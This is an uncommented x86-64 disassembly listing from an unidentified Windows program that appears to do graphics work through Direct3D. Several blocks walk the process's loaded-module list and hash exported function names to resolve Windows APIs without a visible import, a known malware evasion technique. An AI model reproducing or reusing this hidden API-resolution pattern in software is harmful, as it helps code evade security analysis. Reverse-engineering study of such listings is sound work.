lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xf8308c28
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140082292
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140082270
cmp edx, 0xf1c82d48
je 0x14008234b
test r8d, r8d
jne 0x140082250
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400822b1
cmp qword [rax + 0x30], 0
jne 0x140082220
mov rbx, r15
lea rcx, [rbp + 0x2c78]
call fcn.140090b20
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8, rax
xor edx, edx
xor ecx, ecx
call rbx
nop
lea rcx, [rbp + 0x2c78]
call fcn.140090bf0
nop
lea rcx, [rbp + 0x2c58]
call fcn.14004a950
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0x220]
call fcn.140002800
mov rbx, rax
test r13b, r13b
je 0x140082367
lea rcx, [rbp + 0x4c]
call fcn.1400844e0
mov rcx, rax
call fcn.14008d330
jmp 0x140082378
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edi, dword [rcx + rax*4]
add rdi, r9
jmp 0x1400821c4
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
jmp 0x1400822b4
lea rcx, [rbp + 0x4d]
call fcn.140084580
mov rcx, rax
call fcn.14008d2e0
mov rdx, rbx
mov rcx, rax
call fcn.14003ae70
test al, al
je 0x14008258b
mov rcx, qword [rsp + 0x70]
test r13b, r13b
je 0x140082493
call fcn.14005a3b0
test al, al
sete r13b
mov byte [rbp - 0x74], r13b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008244a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008244a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xd8dfaca6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140082445
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140082420
cmp r8d, 0x2ce8ee09
je 0x140082452
test r9d, r9d
jne 0x1400823f0
mov rax, qword [rax]
jmp 0x1400823c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x4e]
call fcn.1400846f0
mov rcx, rax
call fcn.14008d250
mov rbx, rax
lea rcx, [rbp + 0x4f]
call fcn.140084630
mov rcx, rax
call fcn.14008d290
jmp 0x14008257e
call fcn.14005a2c0
movzx r13d, al
mov byte [rbp - 0x74], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008253a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008253a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa2d38125
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140082535
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140082510
cmp r8d, 0x2de3ed04
je 0x140082542
test r9d, r9d
jne 0x1400824e0
mov rax, qword [rax]
jmp 0x1400824b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp + 0x50]
call fcn.140084800
mov rcx, rax
call fcn.14008d1d0
mov rbx, rax
lea rcx, [rbp + 0x51]
call fcn.140084750
mov rcx, rax
call fcn.14008d200
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
call fcn.14000c1a0
movss xmm0, dword [0x1401cb5b4]
call fcn.1400131d0
movss xmm2, dword [0x1401cb614]
movaps xmm1, xmm8
lea rcx, [rbp + 0x228]
call fcn.140002800
mov rbx, rax
lea rcx, [rbp + 0x52]
call fcn.140084870
mov rcx, rax
call fcn.14008d190
xor r9d, r9d
mov r8b, 1
mov rdx, rbx
mov rcx, rax
call fcn.14000c100
lea rcx, [rbp + 0x53]
call fcn.1400848d0
mov rcx, rax
call fcn.14008d140
mov rcx, rax
mov r8b, 1
mov edx, r12d
call fcn.1400606f0
lea rcx, [rbp + 0x54]
call fcn.140084980
mov rcx, rax
call fcn.14008d0e0
mov rbx, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm9
movaps xmm2, xmm10
movaps xmm1, xmm9
lea rcx, [rbp + 0x650]
call fcn.140002820
mov rdx, rbx
mov rcx, rax
call fcn.14003a310
lea rcx, [rbp + 0x55]
call fcn.140084a60
mov rcx, rax
call fcn.14008d090
mov rbx, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm9
movaps xmm2, xmm10
movaps xmm1, xmm9
lea rcx, [rbp + 0x660]
call fcn.140002820
mov rdx, rbx
mov rcx, rax
call fcn.14003a310
call fcn.14000c1a0
mov ecx, r12d
call fcn.140004f90
mov ecx, r12d
call fcn.140004e30
call fcn.14000c1a0
xor r14d, r14d
call fcn.140011f40
mov rcx, qword [0x1402107d0]
mov rax, qword [rcx]
mov r10, qword [rax + 0x158]
mov dword [rsp + 0x30], r14d
movss dword [rsp + 0x28], xmm10
mov dword [rsp + 0x20], r14d
mov r9d, 3
xor r8d, r8d
xor edx, edx
call r10
mov rcx, qword [0x1402107d0]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140082701
call fcn.14000b1c0
call fcn.140007050
mov rcx, rax
call fcn.140035980
mov rcx, qword [0x1402107d0]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rax, qword [rbp + 0xb0]
test dword [rax + 8], 0x400
je 0x140082723
call fcn.14001b120
xor edx, edx
xor ecx, ecx
call fcn.14001b530
mov rcx, qword [0x1402107d0]
mov rax, qword [rcx]
mov r10, qword [rax + 0x88]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call r10
cmp eax, 0x88760868
jne 0x14008276c
mov rcx, qword [0x1402107d0]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x14008276c
call fcn.14006c850
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400827b5
movss xmm6, dword [0x1401cb60c]
movss xmm7, dword [rbp + 0x70]
movss xmm8, dword [rbp + 0x6c]
mov r15, qword [rbp + 0xb8]
lea rsi, [0x140214470]
cmp dword [rbp + 0x2d20], 0x12
je 0x1400827bf
jmp 0x14006eb76
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [rbp + 0x2d20], reloc.WS2_32.dll_select
call fcn.140035f80
call fcn.140036b30
xor ecx, ecx
call fcn.140006fd0
call fcn.14006c800
mov rdx, qword [rbp + 0x2738]
mov rcx, qword [rbp + 0x2760]
call qword [sym.imp.USER32.dll_UnregisterClassA]
nop
lea rcx, [rbp + 0x2af8]
call fcn.140090bf0
mov rcx, qword [rbp + 0x5920]
xor rcx, rsp
call fcn.1400fcc80
lea r11, [rsp + 0x5ad0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret